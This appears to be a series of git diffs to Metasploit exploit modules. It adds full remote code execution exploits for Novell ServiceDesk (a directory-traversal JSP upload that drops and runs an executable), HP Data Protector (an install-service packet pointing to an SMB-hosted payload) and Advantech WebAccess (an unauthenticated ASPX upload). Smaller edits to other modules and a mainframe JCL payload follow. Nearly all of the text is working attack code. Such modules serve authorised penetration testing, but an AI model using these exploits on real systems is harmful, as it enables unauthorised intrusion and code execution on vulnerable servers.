@ -243,7 +243,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
post_reference_name: self.refname,
|
||||
private_data: opts[:password],
|
||||
origin_type: :service,
|
||||
private_type: :password,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'sha512',
|
||||
username: opts[:user]
|
||||
|
|
|
@ -0,0 +1,384 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Novell ServiceDesk Authenticated File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an authenticated arbitrary file upload via directory traversal
|
||||
to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
|
||||
Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
|
||||
Appliance provided by Novell.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-1593' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
|
||||
[ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
|
||||
],
|
||||
'Platform' => %w{ linux win },
|
||||
'Arch' => ARCH_X86,
|
||||
'DefaultOptions' => { 'WfsDelay' => 15 },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'Novell ServiceDesk / Linux',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Novell ServiceDesk / Windows',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false, # Privileged on Windows but not on (most) Linux targets
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mar 30 2016'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT',
|
||||
[true, 'The target port', 80]),
|
||||
OptString.new('USERNAME',
|
||||
[true, 'The username to login as', 'admin']),
|
||||
OptString.new('PASSWORD',
|
||||
[true, 'Password for the specified username', 'admin']),
|
||||
OptString.new('TRAVERSAL_PATH',
|
||||
[false, 'Traversal path to tomcat/webapps/LiveTime/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def get_version
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
|
||||
return $1.to_f
|
||||
else
|
||||
return 999
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
version = get_version
|
||||
if version <= 7.1 && version >= 6.5
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif version > 7.1
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def pick_target
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
print_status("#{peer} - Determining target")
|
||||
|
||||
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
|
||||
|
||||
traversal_paths = []
|
||||
if datastore['TRAVERSAL_PATH']
|
||||
traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path
|
||||
end
|
||||
|
||||
# add Virtual Appliance path plus the traversal in a Windows or Linux self install
|
||||
traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])
|
||||
|
||||
# test each path to determine OS (and correct path)
|
||||
traversal_paths.each do |traversal_path|
|
||||
jsp_name = upload_jsp(traversal_path, os_finder_payload)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri('LiveTime', jsp_name),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body.to_s =~ /Windows/
|
||||
@my_target = targets[2]
|
||||
else
|
||||
# Linux here
|
||||
@my_target = targets[1]
|
||||
end
|
||||
if traversal_path.include? '/srv/tomcat6/webapps/'
|
||||
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
|
||||
else
|
||||
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
|
||||
end
|
||||
return traversal_path
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
def upload_jsp(traversal_path, jsp)
|
||||
jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
|
||||
data = post_data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@upload_url),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies,
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
||||
})
|
||||
|
||||
if not res && res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
|
||||
else
|
||||
return jsp_name
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def create_jsp
|
||||
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
|
||||
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
|
||||
exe = generate_payload_exe(opts)
|
||||
base64_exe = Rex::Text.encode_base64(exe)
|
||||
|
||||
native_payload_name = rand_text_alpha(rand(6)+3)
|
||||
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
|
||||
|
||||
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
|
||||
if @my_target['Platform'] == 'linux'
|
||||
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
chmod = %Q|
|
||||
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
|
||||
Thread.sleep(200);
|
||||
|
|
||||
|
||||
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
cleanup = %Q|
|
||||
Thread.sleep(200);
|
||||
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
||||
|
|
||||
else
|
||||
chmod = ''
|
||||
cleanup = ''
|
||||
end
|
||||
|
||||
jsp = %Q|
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="sun.misc.BASE64Decoder"%>
|
||||
<%
|
||||
try {
|
||||
String #{var_buf} = "#{base64_exe}";
|
||||
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
||||
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
||||
|
||||
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
|
||||
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
||||
|
||||
BufferedOutputStream #{var_ostream} =
|
||||
new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
||||
#{var_ostream}.write(#{var_raw});
|
||||
#{var_ostream}.close();
|
||||
#{chmod}
|
||||
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
||||
#{cleanup}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
%>
|
||||
|
|
||||
|
||||
jsp = jsp.gsub(/\n/, '')
|
||||
jsp = jsp.gsub(/\t/, '')
|
||||
jsp = jsp.gsub(/\x0d\x0a/, "")
|
||||
jsp = jsp.gsub(/\x0a/, "")
|
||||
|
||||
return jsp
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
version = get_version
|
||||
|
||||
# 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
|
||||
login_url = $2
|
||||
@cookies = res.get_cookies
|
||||
if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
|
||||
password_form = $1
|
||||
else
|
||||
# we shouldn't hit this condition at all, this is default for v7+
|
||||
password_form = 'password'
|
||||
end
|
||||
if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
|
||||
username_form = $1
|
||||
else
|
||||
# we shouldn't hit this condition at all, this is default for v7+
|
||||
username_form = 'username'
|
||||
end
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
|
||||
end
|
||||
|
||||
# 2: authenticate and get the import_url
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(login_url),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies,
|
||||
'vars_post' => {
|
||||
username_form => datastore['USERNAME'],
|
||||
password_form => datastore['PASSWORD'],
|
||||
'ButtonLogin' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 &&
|
||||
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
|
||||
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
|
||||
import_url = $1
|
||||
else
|
||||
# hmm either the password is wrong or someone else is using "our" account.. .
|
||||
# let's try to boot him out
|
||||
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
|
||||
res.body.to_s =~ /This account is in use on another system/
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(login_url),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies,
|
||||
'vars_post' => {
|
||||
username_form => datastore['USERNAME'],
|
||||
password_form => datastore['PASSWORD'],
|
||||
'ButtonLoginOverride' => 'Login'
|
||||
}
|
||||
})
|
||||
if res && res.code == 200 &&
|
||||
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
|
||||
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
|
||||
import_url = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
|
||||
end
|
||||
end
|
||||
|
||||
# 3: get the upload_url
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(import_url),
|
||||
'headers' => {
|
||||
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
|
||||
},
|
||||
'cookie' => @cookies,
|
||||
'vars_post' => {
|
||||
'ButtonImport' => 'Import'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 &&
|
||||
(res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
|
||||
res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
|
||||
@upload_url = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
|
||||
end
|
||||
|
||||
if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
|
||||
@upload_form = $1
|
||||
else
|
||||
# go with the default for 7.1.0, might not work with other versions...
|
||||
@upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
|
||||
end
|
||||
|
||||
# 4: target selection
|
||||
@my_target = nil
|
||||
# pick_target returns the traversal_path and sets @my_target
|
||||
traversal_path = pick_target
|
||||
if @my_target.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
|
||||
else
|
||||
print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
|
||||
end
|
||||
|
||||
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
|
||||
# Fail if this is the case and ask the user to select an appropriate payload.
|
||||
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
|
||||
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
|
||||
end
|
||||
|
||||
# 5: generate the JSP with the payload
|
||||
jsp = create_jsp
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
jsp_name = upload_jsp(traversal_path, jsp)
|
||||
if traversal_path.include? '/srv/tomcat6/webapps/'
|
||||
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
|
||||
else
|
||||
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
|
||||
end
|
||||
|
||||
# 6: pwn it!
|
||||
print_status("#{peer} - Requesting #{jsp_name}")
|
||||
send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
|
@ -102,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status "#{peer} - #{language} could not be loaded"
|
||||
return false
|
||||
else
|
||||
print_error "#{peer} - error occurred loading #{language}"
|
||||
vprint_error "#{peer} - error occurred loading #{language}"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -116,7 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_error "#{peer} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_error "#{peer} - Exploit failed"
|
||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - Exploit successful"
|
||||
|
|
|
@ -25,10 +25,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
[ 'EDB', '39008' ],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 390,
|
||||
|
|
|
@ -0,0 +1,160 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::SMB::Server::Share
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP Data Protector 6.10/6.11/6.20 Install Service',
|
||||
'Description' => %q{
|
||||
This module exploits HP Data Protector Omniinet process on Windows only.
|
||||
This exploit invokes the install service function which allows an attacker to create a
|
||||
custom payload in the format of an executable.
|
||||
|
||||
To ensure this works, the SMB server created in MSF must have a share called Omniback
|
||||
which has a subfolder i386, i.e. \\\\192.168.1.1\\Omniback\\i386\\
|
||||
},
|
||||
'Author' => [
|
||||
'Ben Turner',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-0922'],
|
||||
['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Privileged' => true,
|
||||
'Platform' => 'win',
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP Data Protector 6.10/6.11/6.20 / Windows', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 02 2011'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5555),
|
||||
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
|
||||
], self.class)
|
||||
|
||||
deregister_options('FOLDER_NAME')
|
||||
deregister_options('FILE_CONTENTS')
|
||||
deregister_options('SHARE')
|
||||
deregister_options('FILE_NAME')
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def check
|
||||
fingerprint = get_fingerprint
|
||||
|
||||
if fingerprint.nil?
|
||||
vprint_status('Unable to fingerprint because no response.')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - #{fingerprint}")
|
||||
|
||||
if fingerprint =~ /HP Data Protector A\.06\.(\d+)/i
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
def get_fingerprint
|
||||
ommni = connect
|
||||
ommni.put(rand_text_alpha_upper(64))
|
||||
resp = ommni.get_once(-1)
|
||||
disconnect
|
||||
|
||||
return nil if resp.nil?
|
||||
|
||||
# Delete unicode last null
|
||||
Rex::Text.to_ascii(resp).chop.chomp
|
||||
end
|
||||
|
||||
def primer
|
||||
self.file_contents = generate_payload_exe
|
||||
self.file_name = "installservice.exe"
|
||||
self.share = "Omniback\\i386"
|
||||
|
||||
print_status("File available on #{unc}...")
|
||||
vprint_status("#{peer} - Trying to execute remote EXE...")
|
||||
|
||||
lhost = "#{datastore['SRVHOST']}"
|
||||
lhostfull = ""
|
||||
lhost.each_char do |character|
|
||||
lhostfull = lhostfull << "\x00" << character
|
||||
end
|
||||
|
||||
packet = "\x00\x00\x01\xbe\xff\xfe\x32\x00\x00\x00\x20"
|
||||
packet << lhostfull
|
||||
packet << "\x00\x00\x00\x20\x00\x30\x00"
|
||||
packet << "\x00\x00\x20\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00\x4d\x00"
|
||||
packet << "\x00\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x41\x00\x55\x00\x54\x00"
|
||||
packet << "\x48\x00\x4f\x00\x52\x00\x49\x00\x54\x00\x59\x00\x00\x00\x20\x00"
|
||||
packet << "\x43\x00\x00\x00\x20\x00\x32\x00\x36\x00\x00\x00\x20\x00\x5c\x00"
|
||||
packet << "\x5c"
|
||||
packet << lhostfull
|
||||
packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00"
|
||||
packet << "\x61\x00\x63\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00"
|
||||
packet << "\x5c\x00\x69\x00\x6e\x00\x73\x00\x74\x00\x61\x00\x6c\x00\x6c\x00"
|
||||
packet << "\x73\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x2e\x00"
|
||||
packet << "\x65\x00\x78\x00\x65\x00\x20\x00\x2d\x00\x73\x00\x6f\x00\x75\x00"
|
||||
packet << "\x72\x00\x63\x00\x65\x00\x20\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62"
|
||||
packet << "\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x5c\x00\x5c"
|
||||
packet << lhostfull
|
||||
packet << "\x5c\x00\x5c\x00\x4f\x00"
|
||||
packet << "\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63\x00\x6b\x00\x5c\x00"
|
||||
packet << "\x69\x00\x33\x00\x38\x00\x36\x00\x5c\x00\x69\x00\x6e\x00\x73\x00"
|
||||
packet << "\x74\x00\x61\x00\x6c\x00\x6c\x00\x73\x00\x65\x00\x72\x00\x76\x00"
|
||||
packet << "\x69\x00\x63\x00\x65\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x20\x00"
|
||||
packet << "\x2d\x00\x73\x00\x6f\x00\x75\x00\x72\x00\x63\x00\x65\x00\x20\x00"
|
||||
packet << "\x5c\x00\x5c"
|
||||
packet << lhostfull
|
||||
packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63"
|
||||
packet << "\x00\x6b\x00\x20\x00\x00\x00\x00\x00\x00\x00\x02\x54"
|
||||
packet << "\xff\xfe\x32\x00\x36\x00\x00\x00\x20\x00\x5b\x00\x30\x00\x5d\x00"
|
||||
packet << "\x41\x00\x44\x00\x44\x00\x2f\x00\x55\x00\x50\x00\x47\x00\x52\x00"
|
||||
packet << "\x41\x00\x44\x00\x45\x00\x0a\x00\x5c\x00\x5c"
|
||||
packet << lhostfull
|
||||
packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63"
|
||||
packet << "\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00"
|
||||
|
||||
connect
|
||||
sock.put(packet)
|
||||
disconnect
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
Timeout.timeout(datastore['SMB_DELAY']) {super}
|
||||
rescue Timeout::Error
|
||||
# Stop SMB Server
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,131 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.
|
||||
|
||||
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
|
||||
of Advantech WebAccess. Authentication is not required to exploit this vulnerability.
|
||||
|
||||
The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
|
||||
the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
|
||||
upload arbitrary code (instead of an image) to the server, which will then be executed under the
|
||||
high-privilege context of the IIS AppPool.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'rgod', # Vulnerability discovery
|
||||
'Zhou Yu <504137480[at]qq.com>' # MSF module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2016-0854' ],
|
||||
[ 'ZDI', '16-128' ],
|
||||
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
['Advantech WebAccess 8.0', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 5 2016",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def version_match(data)
|
||||
# Software Build : 8.0-2015.08.15
|
||||
fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
|
||||
fingerprint['version'] unless fingerprint.nil?
|
||||
end
|
||||
|
||||
def vuln_version?
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.to_s
|
||||
)
|
||||
|
||||
if res.redirect?
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(res.redirection)
|
||||
)
|
||||
end
|
||||
|
||||
ver = res && res.body ? version_match(res.body) : nil
|
||||
true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
|
||||
end
|
||||
|
||||
def check
|
||||
if vuln_version?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def upload_file?(filename, file)
|
||||
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
|
||||
data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => "waUserName=admin",
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s
|
||||
)
|
||||
true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
|
||||
end
|
||||
|
||||
def exec_file?(filename)
|
||||
uri = normalize_uri(target_uri)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
uri = normalize_uri(target_uri, 'WADashboard', filename)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => res.get_cookies
|
||||
)
|
||||
true ? res && res.code == 200 : false
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless vuln_version?
|
||||
print_status("#{peer} - Cannot reliably check exploitability.")
|
||||
return
|
||||
end
|
||||
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
|
||||
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)
|
||||
|
||||
print_status("#{peer} - Uploading malicious file...")
|
||||
return unless upload_file?(filename, filedata)
|
||||
|
||||
print_status("#{peer} - Executing #{filename}...")
|
||||
return unless exec_file?(filename)
|
||||
end
|
||||
end
|
||||
|
|
@ -7,7 +7,6 @@
|
|||
# for more information on IEFBR14
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/find_shell'
|
||||
require 'msf/base/sessions/mainframe_shell'
|
||||
|
@ -15,50 +14,49 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Mainframe
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Generic JCL Test for Mainframe Exploits',
|
||||
'Description' => 'Provide JCL which can be used to submit
|
||||
a job to JES2 on z/OS which will exit and return 0. This
|
||||
can be used as a template for other JCL based payloads',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::None,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
'Name' => 'Generic JCL Test for Mainframe Exploits',
|
||||
'Description' => 'Provide JCL which can be used to submit
|
||||
a job to JES2 on z/OS which will exit and return 0. This
|
||||
can be used as a template for other JCL based payloads',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::None,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => {},
|
||||
'Payload' => ''
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
##
|
||||
# Construct the paload
|
||||
##
|
||||
def generate
|
||||
return super + command_string
|
||||
super + command_string
|
||||
end
|
